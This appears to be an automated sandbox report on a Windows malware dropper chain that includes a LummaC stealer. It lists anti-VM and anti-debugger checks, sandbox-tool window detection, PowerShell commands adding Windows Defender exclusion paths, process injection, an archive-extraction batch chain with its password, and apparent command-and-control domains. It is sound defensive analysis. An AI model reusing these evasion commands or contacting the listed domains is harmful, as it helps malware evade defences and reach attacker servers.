Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual@\^q
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMwareLR^q
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll@\^q
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll@
Source: svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmp, 751afd6d8b.exe, 0000000B.00000002.2699505276.000000000093F000.00000040.00000001.01000000.00000011.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2728645648.0000000000874000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: 751afd6d8b.exe, 0000000B.00000003.2636461375.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2676190510.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI-

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Thread information set: HideFromDebugger
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Thread information set: HideFromDebugger
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_053901BC Start: 053902FD End: 053901D8

0_2_053901BC

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05390C93 rdtsc

0_2_05390C93

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB652B mov eax, dword ptr fs:[00000030h]	0_2_00CB652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBA302 mov eax, dword ptr fs:[00000030h]	0_2_00CBA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0013A302 mov eax, dword ptr fs:[00000030h]	1_2_0013A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0013652B mov eax, dword ptr fs:[00000030h]	1_2_0013652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0013A302 mov eax, dword ptr fs:[00000030h]	2_2_0013A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0013652B mov eax, dword ptr fs:[00000030h]	2_2_0013652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0013A302 mov eax, dword ptr fs:[00000030h]	6_2_0013A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0013652B mov eax, dword ptr fs:[00000030h]	6_2_0013652B

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Memory written: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 751afd6d8b.exe, 0000000B.00000003.2468689911.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cheapptaxysu.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe "C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe "C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe "C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe "C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe "C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Process created: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe "C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\wyxpjht"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Process created: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe "C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe"
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Process created: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe "C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe"
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"

Source: 751afd6d8b.exe, 0000000B.00000002.2699505276.000000000093F000.00000040.00000001.01000000.00000011.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2728645648.0000000000874000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: oProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0011DD91 cpuid

6_2_0011DD91

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
